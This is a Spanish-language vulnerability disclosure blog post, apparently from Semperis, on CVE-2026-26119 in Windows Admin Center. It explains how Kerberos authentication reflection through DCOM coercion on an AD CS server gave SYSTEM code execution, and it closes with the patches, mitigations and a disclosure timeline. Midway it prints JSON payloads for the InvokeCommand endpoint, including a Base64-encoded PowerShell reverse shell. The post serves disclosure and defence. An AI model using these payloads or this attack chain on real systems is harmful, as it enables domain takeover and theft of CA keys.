A estas alturas, probablemente ya conozcas el reciente parche de Microsoft para una vulnerabilidad crítica de escalada remota de privilegios (CVE-2026-26119) que afectaba a Windows Admin Center y que, en determinadas condiciones, podía provocar el compromiso total del dominio. Descubrí este problema y lo notifiqué a Microsoft en julio de 2025. Ahora que se ha publicado el parche, puedo hablar de la vulnerabilidad: por qué funcionaba, por qué era sutil y por qué los equipos de TI y ciberseguridad siguen subestimando la reflexión de autenticación.
¿Qué es Windows Admin Center?
Cada vez que se abre el Administrador del servidor, te recuerda amablemente que instales Windows Admin Center. Normalmente paso por alto este aviso, pero al final la curiosidad pudo más y decidí probarlo.
Windows Admin Center es una plataforma de administración basada en navegador diseñada para sustituir a los complementos tradicionales de la Consola de administración de Microsoft (MMC) y reducir la necesidad de acceder directamente a PowerShell. La plataforma:
- funciona a través de Internet
- es compatible con la autenticación integrada de Windows (WIA)
- pone a disposición puntos de conexión REST para acciones de gestión con privilegios
La plataforma funciona como una aplicación .NET alojada en el servidor web Kestrel y ofrece una pasarela de gestión HTTP (Figura 1).
Windows Admin Center: cómo funciona
Tras realizar algunas pruebas e intentar comprender mejor cómo funciona Windows Admin Center, decidí interceptar y analizar sus solicitudes para ver qué estaba pasando realmente.
Una vez autenticada, en este caso mediante WIA, la aplicación establece varias cookies esenciales, como WAC-SESSION y los tokens antifalsificación asociados (Figura 2).
No tardamos mucho en identificar puntos finales REST interesantes que permitían la ejecución de código, como el que se muestra en la figura 3. Este se encuentra en /api/services/WinREST/Powershell/nodes//InvokeCommand.
Este punto final parecía muy fácil de manipular, así que decidí volver a enviar la solicitud para ejecutar un simple whoami.exe, redirigiendo la salida a un archivo y recuperando el contenido.
Sin embargo, quedaba una salvedad importante: cada solicitud requería una nueva autenticación, incluyendo la cookie WAC-SESSION inicial y el token antifalsificación correspondiente (Figura 4).
¡Sorpresa! ¡Funcionó!
Reflexión de la autenticación en Windows Admin Center
Aunque este punto final parecía un simple objetivo de retransmisión de autenticación, lo que realmente me interesaba era la reflexión de autenticación. Quería averiguar si un usuario de dominio con pocos privilegios podía forzar de forma remota la autenticación del equipo y reflejarla en Windows Admin Center para obtener acceso a NT AUTHORITY\SYSTEM.
Ya he escrito anteriormente una explicación detallada sobre el abuso de la reflexión de autenticación en mi blog personal, así que no voy a repetirla aquí. Dado que las recientes correcciones de Microsoft bloquean el abuso del truco CredMarshalTargetInfo y de GhostSPN para la coacción basada en SMB, la única opción que quedaba era recurrir a un desencadenador RPC/DCOM. ¿El candidato ideal? Un servidor de Servicios de certificados de Active Directory (AD CS) con Windows Admin Center instalado.
En esta configuración, cualquier usuario de dominio autenticado podría forzar de forma remota la autenticación del equipo a través de DCOM, tal y como se ha demostrado con mi herramienta ADCSCoerce Potato, y retransmitirla a un servicio HTTP. Dado que el nombre de entidad de servicio (SPN) está bajo el control del atacante, la autenticación local puede activarse utilizando Kerberos o NTLM.
La ejecución satisfactoria de código y la obtención de acceso como NT AUTHORITY\SYSTEM en un servidor AD CS significa, en la práctica, una sola cosa: un «certificado dorado». El acceso administrativo permite al atacante realizar una copia de seguridad de las claves pública y privada de la CA y falsificar certificados para cualquier usuario, incluidos los administradores de dominio para la autenticación de clientes.
Como ya disponía de una herramienta personalizada (derivada de KrbRelay) que admite la activación remota de DCOM, decidí utilizar la reflexión de Kerberos. Lo único que quedaba por hacer era implementar la lógica del cliente HTTP necesaria para interactuar con los puntos finales REST de Windows Admin Center y activar la ejecución del código.
Al utilizar Burp para depurar el flujo de la sesión, la implementación del cliente de Windows Admin Center resultó bastante sencilla. Seguí un proceso en dos pasos: una solicitud para recuperar las cookies necesarias, seguida de una segunda solicitud para interactuar con los puntos finales pertinentes.
Cada una de estas solicitudes requería una nueva autenticación, lo que supuso un poco más de trabajo, pero al final funcionó como se esperaba.
Mi carga útil de uso general tenía este aspecto:
{"properties":{"script":"cmd.exe /c >c:\temp\out.txt; $a=get-content \"c:\temp\out.txt"; return $a"}}
La carga útil también podría modificarse para incluir código de PowerShell, por ejemplo, para generar un shell inverso o realizar cualquier otra acción.
{"properties":{"script":"$b64='JGM9TmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzE5Mi4xNj..';$d = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));iex $d"}}
Para evitar tener que lidiar con complicadas secuencias de escape, lo más sencillo es utilizar una versión codificada en Base64 del script que quieras ejecutar.
Una vez que lo tenía todo listo, decidí probarlo utilizando una carga útil de shell inverso de PowerShell desde un equipo integrado en el dominio, D2S2, como usuario con privilegios reducidos.
Mi única preocupación restante era la Protección ampliada para la autenticación (EPA), que habría impedido este tipo de reflexión. Pero Windows Admin Center se ejecuta en el servidor web Kestrel en lugar de en Microsoft Internet Information Services (IIS) y, por lo que yo sabía, las funciones de EPA no están implementadas en Kestrel… y funcionó, sin EPA activada (Figura 5, Figura 6).
El resultado fue un shell con privilegios completos que se ejecutaba en el contexto de la cuenta de sistema D2S3$, en la que se alojaban tanto Windows Admin Center como AD CS. Este vídeo muestra otro ejemplo de cómo realizar una copia de seguridad de las claves de la CA:
El extraño caso de Windows 2025
Al principio realicé estas pruebas en un sistema Windows Server 2022, así que decidí repetirlas en Windows Server 2025. Para mi sorpresa, todos los intentos dieron como resultado un «ACCESO DENEGADO».
Tras una investigación más exhaustiva, quedó claro que, en Windows Server 2025 y Windows 11 24H2, el control EPA se aplica de forma nativa mediante el controlador HTTP.SYS. Por lo tanto, a menos que el backend interfiera explícitamente en este comportamiento, el control EPA está, en la práctica, siempre activado.
Correcciones de CVE-2026-26119
En enero de 2026, Microsoft publicó el primer parche, CVE-2026-20929, que, en la práctica, adaptó los requisitos de EPA a otras versiones de Windows renombrando las funciones originales de enlace de canales con el sufijo «_old» e introduciendo nuevas implementaciones (Figura 7).
El 17 de febrero, Microsoft publicó un parche fuera de ciclo para Windows Admin Center con el número CVE-2026-26119.
Esta actualización introdujo una llamada a SetProperty(HttpServerChannelBindProperty), delegando la gestión de los tokens de enlace de canal (CBT) al controlador del núcleo HTTP.SYS actualizado (Figura 8).
La solución definitiva se incluyó en el parche del núcleo HTTP.SYS de enero, que implementa la función EPA de forma predeterminada. Por lo tanto, esta nueva implementación en Windows Admin Center parece estar destinada principalmente a garantizar la compatibilidad futura, más que a resolver la causa raíz del problema.
Lo que hay que saber sobre la reflexión de autenticación
Windows Admin Center es otro ejemplo más de lo peligrosos que pueden ser los ataques de reflexión y retransmisión de autenticación, especialmente cuando (como en este caso) no se dispone de contramedidas eficaces aparte de desinstalar el producto. No conozco las cifras oficiales de uso, pero, según mi experiencia, es probable que Windows Admin Center esté menos extendido que otras herramientas administrativas. Sin embargo, eso no significa que deba subestimarse esta vulnerabilidad, ya que podrían haber existido situaciones similares durante años.
Afortunadamente, al aplicar los requisitos de CBT directamente en el controlador HTTP.SYS, este tipo de ataque se ha mitigado de forma definitiva. También se pueden adoptar las siguientes medidas para ayudar a prevenir la reflexión de autenticación en general:
- Aplicar la firma y la vinculación de canales en todos los casos
- Corrija las vulnerabilidades de coerción conocidas
- Fortalece los sistemas desactivando los servicios innecesarios y utilizando filtros RPC para bloquear vectores de ataque específicos que activan la autenticación
Cronología
- 8 de julio de 2025: Vulnerabilidad notificada al Centro de Respuesta de Seguridad de Microsoft (MSRC)
- 29 de julio de 2025: Problema confirmado por el MSRC
- 30 de octubre de 2025: El MSRC informó de que la corrección se publicaría a principios de 2026
- 13 de enero de 2026: Microsoft publicó una primera actualización de seguridad para solucionar la vulnerabilidad (CVE-2026-20929)
- 17 de febrero de 2026: Microsoft publicó una segunda actualización de seguridad que corrige un problema de comportamiento de Windows Admin Center (CVE-2026-26119)
Más estudios de los expertos de Semperis
